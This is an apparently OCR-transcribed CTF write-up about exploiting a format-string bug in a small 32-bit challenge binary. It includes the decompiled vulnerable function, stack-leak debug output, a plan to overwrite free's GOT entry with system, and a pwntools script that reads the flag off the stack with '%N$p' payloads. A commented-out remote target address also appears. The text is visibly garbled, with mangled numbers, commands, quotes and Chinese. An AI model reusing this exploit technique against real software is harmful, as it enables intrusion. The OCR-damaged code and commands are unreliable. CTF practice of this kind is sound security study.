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[*] '/ctf/work/python/team/4f785d9988ce43c2b6el2ae2c49040aa’

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: Canary found

NX: NX enabled

PIE: No PIE (©x8048000)

)8 TNXFfICanary, #k4:E TG
main & % :

int _ cdecl main()

{
char *pszTeamname; // ST18 4
char *pszFlag; // ST1C_4

pszTeamname = (char *)malloc(200u);
pszFlag = (char *)malloc(1eeu);
printf("Enter teamname: ");
fflush(stdout);
__iso0c99_scanf("%200s", pszTeamname);
printf("Enter flag: ");
fflush(stdout);
__iso0c99_scanf("%100s", pszFlag);
sleep(2u);

sub_80486AD(pszTeamname, pszFlag);
free(pszTeamname);

free(pszFlag);

return 0;
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signed int _ cdecl sub_80486AD(const char *pszTeamname, const char *pszFlag)
{

FILE *stream; // [esp+24h] [ebp-74h]

char s; // [esp+28h] [ebp-706h]

unsigned int v5; // [esp+8Ch] [ebp-Ch]

v5 = _ readgsdword(0x14u);
stream = fopen("flag.txt", "r");
if ( !stream )
return 1;
fgets(&s, 100, stream);
printf(pszTeamname);
if ( !strcmp(&s, pszFlag) )
puts(" : correct flag!");

else

puts(" : incorrect flag. Try again.");
fclose(stream);
return 0;
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printf(pszTeamname);
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root@mypwn:/ctf/work/python/team# 1ls -1

total 2280

-rwxr-xr-x 1 root root 5576 Jan 3 17:31 4f785d9988ce43c2bbel2ae2c49040aa
-rw-r--r-- 1 root root 156577 Jan 4 08:20 4f785d9988ce43c2bb6el2ae2c49040aa.idb
-PW------- 1 root root 2424832 Jan 4 07:46 core

-rw-r--r-- 1 root root 16 Jan 4 01:39 flag.txt

-rw-r--r-- 1 root root 1107 Jan 4 07:56 team.py
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root@mypwn:/ctf/work/python/team# cat flag.txt
bbbcccdddeeefff
root@mypwn:/ctf/work/python/team#
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[DEBUG] Received @xlcc bytes:
'AAAA64.82206c0.c.f7715e89.1.821230.821f160.0.82206c0.63626262.64646363.65656564.a666666.17707400.1.1.
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1. Hfreeffigot& Amainik %1
2. ft¥RlibcHbht

3. HfreelIgot® AsystemiF £
4. EpszFlagA'bin/sh'
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#coding:utf8
#!python

from pwn import *

context.log level = 'debug'
process_name = '4f785d9988ce43c2b6el2ae2c49040aa’

def get_flag(num):

p = process([process_name], env={'LD_LIBRARY_PATH':"'./'})
# p = remote('111.198.29.45', 39479)

# elf = ELF(process_name)

# payload = 'A'*4+'%x.'*60

# param_num = 10 + (©x70-0xc)/4

param_num = num

payload = '%'+str(param_num)+'$p"
p.sendlineafter('Enter teamname: ', payload)
p.sendlineafter('Enter flag: ', 'B'*3)

data = p.recvuntil(' :')[2:-2]

data = data.rjust(8, '@').decode('hex"')[::-1]
log.info("data => %s", data)

p.close()

return data

flag = "'
try:
for x in xrange(10,30):
flag += get_flag(x)
if ("\n' in flag) or ('\x00' in flag):
break;
except Exception as e:
log.info("flag => %s", flag)

print(flag)
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